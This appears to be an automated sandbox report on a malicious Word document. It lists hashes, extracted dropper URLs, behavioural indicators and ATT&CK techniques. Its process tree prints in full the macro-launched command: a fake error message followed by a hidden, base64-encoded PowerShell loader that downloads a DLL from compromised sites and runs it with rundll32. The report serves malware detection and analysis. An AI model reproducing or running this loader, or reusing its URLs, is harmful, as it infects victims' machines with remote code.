43af38ecd27585f00463abfee0ca7f492fb36fa862c8d215447d59be27652589

General

Target

fzivjgfe.doc
Size

154KB
MD5

40f79fcaa6e497435e1ac54f87fe90ab
SHA1

41acbe1239d7c21c6919033da6fd935db6ee1f58
SHA256

43af38ecd27585f00463abfee0ca7f492fb36fa862c8d215447d59be27652589
SHA512

93e3876bf713ea07d0302cc2f3432c0aa0365e2d3a5d2babe751a198fde4a0c9b4a080804166485e2843a0ec7e071b7748126bdd7d79472ede19c9fad3688d7a

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mediatorstewart.com/service-msc/3zZLr/

exe.dropper

http://wolffsachs.com/wp-content/UKZw/

exe.dropper

http://ycspreview.com/shubham/h7qna/

exe.dropper

http://wi360.com/wp-content/u/

exe.dropper

http://linkejet.com.br/cgi-bin/UQ/

exe.dropper

http://nuocmambamuoi.vn/wp-admin/Ty/

exe.dropper

http://ellinismos1922.gr/log/c99FG/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1936 2608 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1936	2608	cmd.exe

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
15	5104	powershell.exe
16	5104	powershell.exe
21	5104	powershell.exe
23	5104	powershell.exe
27	5104	powershell.exe
29	5104	powershell.exe
37	5104	powershell.exe
39	5104	powershell.exe
53	5104	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1676 WINWORD.EXE
1676 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5104 powershell.exe
5104 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5104 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1676 WINWORD.EXE
1676 WINWORD.EXE
1676 WINWORD.EXE
1676 WINWORD.EXE
1676 WINWORD.EXE
1676 WINWORD.EXE
1676 WINWORD.EXE

pid	process
1676	WINWORD.EXE
1676	WINWORD.EXE

pid	process
5104	powershell.exe
5104	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5104	powershell.exe

pid	process
1676	WINWORD.EXE
1676	WINWORD.EXE
1676	WINWORD.EXE
1676	WINWORD.EXE
1676	WINWORD.EXE
1676	WINWORD.EXE
1676	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1936 wrote to memory of 220	1936	cmd.exe	msg.exe
PID 1936 wrote to memory of 220	1936	cmd.exe	msg.exe
PID 1936 wrote to memory of 5104	1936	cmd.exe	powershell.exe
PID 1936 wrote to memory of 5104	1936	cmd.exe	powershell.exe
PID 5104 wrote to memory of 2284	5104	powershell.exe	rundll32.exe
PID 5104 wrote to memory of 2284	5104	powershell.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fzivjgfe.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1676

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JABTAG8AOQBSAHEAIAAgAD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQAiAC0ARgAgACcALgBpAE8ALgBkAEkAUgBFAEMAJwAsACcARQAnACwAJwBNACcALAAnAHMAeQBzAHQAJwAsACcAdABvAHIAWQAnACkAOwAgACAAIAAgACQAeQB4AE4AdAA2AG0APQBbAFQAWQBQAEUAXQAoACIAewAyAH0AewA1AH0AewAzAH0AewAxAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE0AQQBuAEEARwBlACcALAAnAE8ASQBOAFQAJwAsACcAcwB5AHMAdABlAE0ALgBOAGUAVAAuACcALAAnAEMAZQBwACcALAAnAHIAJwAsACcAUwBlAFIAVgBpACcAKQA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAJwArACcAbwBuACcAKQArACgAJwB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFQANQB1ADEAawAyAHQAPQAkAEwAMwAwAEcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEMAMwAwAEkAOwAkAEUAXwAzAFkAPQAoACcAWAA4ACcAKwAnADAARwAnACkAOwAgACgAIAAgAFYAQQBSAEkAQQBCAGwAZQAgACgAJwBzAG8AOQByACcAKwAnAFEAJwApACAALQB2AGEAbABVAGUAbwBuACkAOgA6ACIAQwBSAGAAZQBBAHQARQBgAGQAaQBgAFIAYABlAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AEkAJwArACgAJwAxADAAJwArACcAcAAwACcAKQArACcAegBzAHsAMAB9ACcAKwAnAEIAdABqAGcAaABxAGYAewAnACsAJwAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQARQA0ADAASgA9ACgAJwBHADkAJwArACcAMgBPACcAKQA7ACAAIAAkAFkAeABOAHQANgBNADoAOgAiAFMAZQBgAEMAdQBgAFIAaQB0AHkAcABSAG8AVABvAGAAYwBgAG8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQAWQA0ADgASwA9ACgAKAAnAEIAMAAnACsAJwA0ACcAKQArACcARgAnACkAOwAkAEIAcAB0ADcAeQA1AHoAIAA9ACAAKAAoACcATQAnACsAJwAyADEAJwApACsAJwBZACcAKQA7ACQATgAxADIAUQA9ACgAKAAnAE0AJwArACcANAAyACcAKQArACcAUgAnACkAOwAkAFEAaQB4AHcAaABmADIAPQAkAEgATwBNAEUAKwAoACgAJwBzACcAKwAnAHoAJwArACcASgAnACsAJwBJADEAJwArACgAJwAwACcAKwAnAHAAMAB6AHMAJwApACsAKAAnAHMAJwArACcAegBKACcAKwAnAEIAdABqAGcAaAAnACsAJwBxACcAKQArACgAJwBmAHMAJwArACcAegBKACcAKQApACAAIAAtAEMAcgBFAHAATABBAEMAZQAgACgAWwBDAEgAYQByAF0AMQAxADUAKwBbAEMASABhAHIAXQAxADIAMgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAEIAcAB0ADcAeQA1AHoAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABDADUANgBJAD0AKAAoACcASAAnACsAJwAxADMAJwApACsAJwBWACcAKQA7ACQASABnAGIAMAB5AGIAMAA9ACgAJwBdACcAKwAoACcAZQAnACsAJwAxAHIAJwApACsAKAAnAFsAUwAnACsAJwA6AC8ALwAnACsAJwBtAGUAJwApACsAJwBkAGkAJwArACgAJwBhAHQAbwAnACsAJwByAHMAdABlACcAKwAnAHcAYQAnACkAKwAnAHIAJwArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAcwBlACcAKQArACgAJwByAHYAaQBjACcAKwAnAGUALQBtACcAKwAnAHMAYwAnACkAKwAoACcALwAnACsAJwAzAHoAWgBMAHIALwAnACsAJwBAACcAKQArACcAXQAnACsAKAAnAGUAMQByAFsAUwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwBvAGwAJwApACsAKAAnAGYAJwArACcAZgBzAGEAYwBoACcAKQArACgAJwBzAC4AYwAnACsAJwBvAG0AJwArACcALwB3ACcAKQArACcAcAAtACcAKwAnAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwBVAEsAJwArACcAWgAnACkAKwAnAHcALwAnACsAJwBAAF0AJwArACgAJwBlACcAKwAnADEAcgBbACcAKQArACcAUwAnACsAKAAnADoAJwArACcALwAnACsAJwAvAHkAYwBzACcAKQArACcAcAByACcAKwAnAGUAJwArACgAJwB2ACcAKwAnAGkAZQB3AC4AJwApACsAKAAnAGMAJwArACcAbwBtACcAKQArACcALwBzACcAKwAnAGgAJwArACcAdQBiACcAKwAoACcAaABhAG0ALwBoADcAJwArACcAcQBuACcAKQArACgAJwBhAC8AJwArACcAQABdAGUAJwApACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwArACcAOgAvAC8AdwAnACkAKwAoACcAaQAzACcAKwAnADYAJwArACcAMAAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtAGMAJwArACcAbwBuAHQAZQBuACcAKQArACgAJwB0ACcAKwAnAC8AdQAvAEAAJwApACsAKAAnAF0AJwArACcAZQAxAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAG4AawBlACcAKwAnAGoAJwApACsAJwBlAHQAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtACcAKwAnAC4AYgByAC8AYwBnAGkALQAnACsAJwBiACcAKQArACcAaQBuACcAKwAoACcALwBVAFEALwBAAF0AJwArACcAZQAxACcAKwAnAHIAJwArACcAWwBTADoAJwArACcALwAnACkAKwAoACcALwBuAHUAbwAnACsAJwBjACcAKQArACgAJwBtAGEAJwArACcAbQBiAGEAJwApACsAJwBtAHUAJwArACcAbwBpACcAKwAnAC4AdgAnACsAKAAnAG4AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAoACcALwBUAHkAJwArACcALwAnACkAKwAoACcAQABdAGUAJwArACcAMQAnACkAKwAoACcAcgBbACcAKwAnAFMAJwApACsAKAAnADoALwAvAGUAJwArACcAbABsACcAKQArACgAJwBpAG4AJwArACcAaQBzACcAKQArACcAbQBvACcAKwAoACcAcwAnACsAJwAxADkAJwApACsAJwAyACcAKwAoACcAMgAuACcAKwAnAGcAcgAvACcAKwAnAGwAbwBnAC8AJwArACcAYwA5ACcAKQArACcAOQBGACcAKwAnAEcALwAnACkALgAiAHIARQBwAGAAbABBAEMARQAiACgAKAAoACcAXQBlADEAJwArACcAcgBbACcAKQArACcAUwAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABwAEwAaQBUACIAKAAkAFcANAA5AFIAIAArACAAJABUADUAdQAxAGsAMgB0ACAAKwAgACQAQgA1ADgAQQApADsAJABCADMAMABXAD0AKAAoACcARgAnACsAJwA4ADYAJwApACsAJwBGACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUQBiAGYAOAA0ADMAeQAgAGkAbgAgACQASABnAGIAMAB5AGIAMAApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAcwB5AHMAdABlAE0ALgBuAGUAdAAuAFcAZQBiAEMATABJAGUAbgBUACkALgAiAGQAYABPAGAAVwBOAGwAbwBBAGQAZgBJAEwAZQAiACgAJABRAGIAZgA4ADQAMwB5ACwAIAAkAFEAaQB4AHcAaABmADIAKQA7ACQAUQAyADEATAA9ACgAJwBSADQAJwArACcAXwBZACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGkAeAB3AGgAZgAyACkALgAiAEwAZQBuAEcAYABUAEgAIgAgAC0AZwBlACAANAA5ADMAMwA4ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAFEAaQB4AHcAaABmADIALAAoACgAJwBDAG8AJwArACcAbgB0AHIAbwAnACsAJwBsACcAKwAnAF8AUgAnACkAKwAnAHUAbgAnACsAKAAnAEQAJwArACcATABMACcAKQApAC4AIgB0AE8AcwBUAGAAUgBpAE4ARwAiACgAKQA7ACQAVwAzADAAUQA9ACgAKAAnAEcAJwArACcANQA5ACcAKQArACcASAAnACkAOwBiAHIAZQBhAGsAOwAkAFEAMgA4AFcAPQAoACcATAA4ACcAKwAnAF8AQgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AMQA5AEsAPQAoACcASAAnACsAKAAnADQAJwArACcANgBFACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JABTAG8AOQBSAHEAIAAgAD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQAiAC0ARgAgACcALgBpAE8ALgBkAEkAUgBFAEMAJwAsACcARQAnACwAJwBNACcALAAnAHMAeQBzAHQAJwAsACcAdABvAHIAWQAnACkAOwAgACAAIAAgACQAeQB4AE4AdAA2AG0APQBbAFQAWQBQAEUAXQAoACIAewAyAH0AewA1AH0AewAzAH0AewAxAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE0AQQBuAEEARwBlACcALAAnAE8ASQBOAFQAJwAsACcAcwB5AHMAdABlAE0ALgBOAGUAVAAuACcALAAnAEMAZQBwACcALAAnAHIAJwAsACcAUwBlAFIAVgBpACcAKQA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAJwArACcAbwBuACcAKQArACgAJwB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFQANQB1ADEAawAyAHQAPQAkAEwAMwAwAEcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEMAMwAwAEkAOwAkAEUAXwAzAFkAPQAoACcAWAA4ACcAKwAnADAARwAnACkAOwAgACgAIAAgAFYAQQBSAEkAQQBCAGwAZQAgACgAJwBzAG8AOQByACcAKwAnAFEAJwApACAALQB2AGEAbABVAGUAbwBuACkAOgA6ACIAQwBSAGAAZQBBAHQARQBgAGQAaQBgAFIAYABlAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AEkAJwArACgAJwAxADAAJwArACcAcAAwACcAKQArACcAegBzAHsAMAB9ACcAKwAnAEIAdABqAGcAaABxAGYAewAnACsAJwAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQARQA0ADAASgA9ACgAJwBHADkAJwArACcAMgBPACcAKQA7ACAAIAAkAFkAeABOAHQANgBNADoAOgAiAFMAZQBgAEMAdQBgAFIAaQB0AHkAcABSAG8AVABvAGAAYwBgAG8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQAWQA0ADgASwA9ACgAKAAnAEIAMAAnACsAJwA0ACcAKQArACcARgAnACkAOwAkAEIAcAB0ADcAeQA1AHoAIAA9ACAAKAAoACcATQAnACsAJwAyADEAJwApACsAJwBZACcAKQA7ACQATgAxADIAUQA9ACgAKAAnAE0AJwArACcANAAyACcAKQArACcAUgAnACkAOwAkAFEAaQB4AHcAaABmADIAPQAkAEgATwBNAEUAKwAoACgAJwBzACcAKwAnAHoAJwArACcASgAnACsAJwBJADEAJwArACgAJwAwACcAKwAnAHAAMAB6AHMAJwApACsAKAAnAHMAJwArACcAegBKACcAKwAnAEIAdABqAGcAaAAnACsAJwBxACcAKQArACgAJwBmAHMAJwArACcAegBKACcAKQApACAAIAAtAEMAcgBFAHAATABBAEMAZQAgACgAWwBDAEgAYQByAF0AMQAxADUAKwBbAEMASABhAHIAXQAxADIAMgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAEIAcAB0ADcAeQA1AHoAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABDADUANgBJAD0AKAAoACcASAAnACsAJwAxADMAJwApACsAJwBWACcAKQA7ACQASABnAGIAMAB5AGIAMAA9ACgAJwBdACcAKwAoACcAZQAnACsAJwAxAHIAJwApACsAKAAnAFsAUwAnACsAJwA6AC8ALwAnACsAJwBtAGUAJwApACsAJwBkAGkAJwArACgAJwBhAHQAbwAnACsAJwByAHMAdABlACcAKwAnAHcAYQAnACkAKwAnAHIAJwArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAcwBlACcAKQArACgAJwByAHYAaQBjACcAKwAnAGUALQBtACcAKwAnAHMAYwAnACkAKwAoACcALwAnACsAJwAzAHoAWgBMAHIALwAnACsAJwBAACcAKQArACcAXQAnACsAKAAnAGUAMQByAFsAUwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwBvAGwAJwApACsAKAAnAGYAJwArACcAZgBzAGEAYwBoACcAKQArACgAJwBzAC4AYwAnACsAJwBvAG0AJwArACcALwB3ACcAKQArACcAcAAtACcAKwAnAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwBVAEsAJwArACcAWgAnACkAKwAnAHcALwAnACsAJwBAAF0AJwArACgAJwBlACcAKwAnADEAcgBbACcAKQArACcAUwAnACsAKAAnADoAJwArACcALwAnACsAJwAvAHkAYwBzACcAKQArACcAcAByACcAKwAnAGUAJwArACgAJwB2ACcAKwAnAGkAZQB3AC4AJwApACsAKAAnAGMAJwArACcAbwBtACcAKQArACcALwBzACcAKwAnAGgAJwArACcAdQBiACcAKwAoACcAaABhAG0ALwBoADcAJwArACcAcQBuACcAKQArACgAJwBhAC8AJwArACcAQABdAGUAJwApACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwArACcAOgAvAC8AdwAnACkAKwAoACcAaQAzACcAKwAnADYAJwArACcAMAAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtAGMAJwArACcAbwBuAHQAZQBuACcAKQArACgAJwB0ACcAKwAnAC8AdQAvAEAAJwApACsAKAAnAF0AJwArACcAZQAxAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAG4AawBlACcAKwAnAGoAJwApACsAJwBlAHQAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtACcAKwAnAC4AYgByAC8AYwBnAGkALQAnACsAJwBiACcAKQArACcAaQBuACcAKwAoACcALwBVAFEALwBAAF0AJwArACcAZQAxACcAKwAnAHIAJwArACcAWwBTADoAJwArACcALwAnACkAKwAoACcALwBuAHUAbwAnACsAJwBjACcAKQArACgAJwBtAGEAJwArACcAbQBiAGEAJwApACsAJwBtAHUAJwArACcAbwBpACcAKwAnAC4AdgAnACsAKAAnAG4AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAoACcALwBUAHkAJwArACcALwAnACkAKwAoACcAQABdAGUAJwArACcAMQAnACkAKwAoACcAcgBbACcAKwAnAFMAJwApACsAKAAnADoALwAvAGUAJwArACcAbABsACcAKQArACgAJwBpAG4AJwArACcAaQBzACcAKQArACcAbQBvACcAKwAoACcAcwAnACsAJwAxADkAJwApACsAJwAyACcAKwAoACcAMgAuACcAKwAnAGcAcgAvACcAKwAnAGwAbwBnAC8AJwArACcAYwA5ACcAKQArACcAOQBGACcAKwAnAEcALwAnACkALgAiAHIARQBwAGAAbABBAEMARQAiACgAKAAoACcAXQBlADEAJwArACcAcgBbACcAKQArACcAUwAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABwAEwAaQBUACIAKAAkAFcANAA5AFIAIAArACAAJABUADUAdQAxAGsAMgB0ACAAKwAgACQAQgA1ADgAQQApADsAJABCADMAMABXAD0AKAAoACcARgAnACsAJwA4ADYAJwApACsAJwBGACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUQBiAGYAOAA0ADMAeQAgAGkAbgAgACQASABnAGIAMAB5AGIAMAApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAcwB5AHMAdABlAE0ALgBuAGUAdAAuAFcAZQBiAEMATABJAGUAbgBUACkALgAiAGQAYABPAGAAVwBOAGwAbwBBAGQAZgBJAEwAZQAiACgAJABRAGIAZgA4ADQAMwB5ACwAIAAkAFEAaQB4AHcAaABmADIAKQA7ACQAUQAyADEATAA9ACgAJwBSADQAJwArACcAXwBZACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGkAeAB3AGgAZgAyACkALgAiAEwAZQBuAEcAYABUAEgAIgAgAC0AZwBlACAANAA5ADMAMwA4ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAFEAaQB4AHcAaABmADIALAAoACgAJwBDAG8AJwArACcAbgB0AHIAbwAnACsAJwBsACcAKwAnAF8AUgAnACkAKwAnAHUAbgAnACsAKAAnAEQAJwArACcATABMACcAKQApAC4AIgB0AE8AcwBUAGAAUgBpAE4ARwAiACgAKQA7ACQAVwAzADAAUQA9ACgAKAAnAEcAJwArACcANQA5ACcAKQArACcASAAnACkAOwBiAHIAZQBhAGsAOwAkAFEAMgA4AFcAPQAoACcATAA4ACcAKwAnAF8AQgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AMQA5AEsAPQAoACcASAAnACsAKAAnADQAJwArACcANgBFACcAKQApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5104

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\I10p0zs\Btjghqf\M21Y.dll,Control_RunDLL
3⤵
PID:2284

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\I10p0zs\Btjghqf\M21Y.dll
Filesize
67KB

MD5
2a88b493cb6fe862b887d6316fad5a3d

SHA1
f15dd8ce02fba26d776cfe70f4884b84d92f3448

SHA256
0e56b79f74d3cb96da47d2d2dc0234b52eb9c83707d1005c2ff05740626feded

SHA512
62d7f0dbc915f13b100841823aad6384f66c2b06630f9bc36900a746bde7631a4ba93ff1efeecb0117394efb15d762bed9f69a2eb6250ff20f9ea4bb341a37d1

Download Submit
memory/220-137-0x0000000000000000-mapping.dmp

Download
memory/1676-134-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-131-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-130-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-135-0x00007FF8013C0000-0x00007FF8013D0000-memory.dmp

Filesize
64KB

Download
memory/1676-136-0x00007FF8013C0000-0x00007FF8013D0000-memory.dmp

Filesize
64KB

Download
memory/1676-132-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-147-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-146-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-145-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-144-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/1676-133-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/2284-141-0x0000000000000000-mapping.dmp

Download
memory/5104-140-0x00007FF8177F0000-0x00007FF8182B1000-memory.dmp

Filesize
10.8MB

Download
memory/5104-139-0x000002AD68610000-0x000002AD68632000-memory.dmp

Filesize
136KB

Download
memory/5104-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads